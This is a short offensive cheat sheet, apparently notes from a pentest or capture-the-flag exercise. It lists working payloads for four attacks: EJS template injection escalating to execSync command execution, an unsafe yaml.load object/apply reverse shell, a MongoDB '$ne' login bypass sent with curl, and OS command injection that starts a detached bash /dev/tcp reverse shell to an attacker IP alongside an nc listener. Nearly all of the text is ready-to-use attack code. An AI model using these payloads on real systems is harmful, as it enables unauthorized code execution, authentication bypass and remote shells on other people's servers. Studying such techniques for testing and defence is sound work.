Server-side template injection in EJS: confirm with a 7*7 probe, escalate to execSync command execution, then stage a bigger payload via base64.
text
# Values below go into the injectable template field (e.g. template=...).# 1) probe — a reflected "49" proves the input is evaluated as a template<%= 7*7 %># 2) RCE — reach Node's child_process through the template engine<%= process.mainModule.require("child_process").execSync("id") %># 3) stage a real payload without quoting hell: base64 shell.js locally# (base64 -w0 shell.js), then decode + pipe into node on the target<%= process.mainModule.require("child_process").execSync("echo <BASE64> | base64 -d | node") %>
When an app calls yaml.load() on attacker input, the object/apply constructor executes arbitrary code — here a straight reverse shell.
yaml
# Send as the YAML value the app parses with an unsafe yaml.load().# !!python/object/apply calls os.system with your argument on load.playlist: !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"]
Bypass a login backed by MongoDB/NeDB by sending a query operator instead of a password value — the check becomes "password not equal to null".
bash
# JSON login that injects an operator into the password field.# The backend runs db.findOne({ username, password }) — {"$ne": null} matches# any stored password, so authentication succeeds without knowing it.curl -s -X POST http://<target-ip>/login \ -H "Content-Type: application/json" \ -d '{"username":"<user>","password":{"$ne":null}}'
OS command injection via an unsanitized parameter; setsid + input redirect detaches the reverse shell so it survives the HTTP response returning.
bash
# listener on your boxnc -lvnp 4444# inject after ';' — setsid + < /dev/null & detaches the shell from the request,# so it keeps running once the HTTP handler returnscurl -s -X POST http://<target-ip>/internal/netcheck \ --data-urlencode "host=<attacker-ip>;setsid bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' < /dev/null &"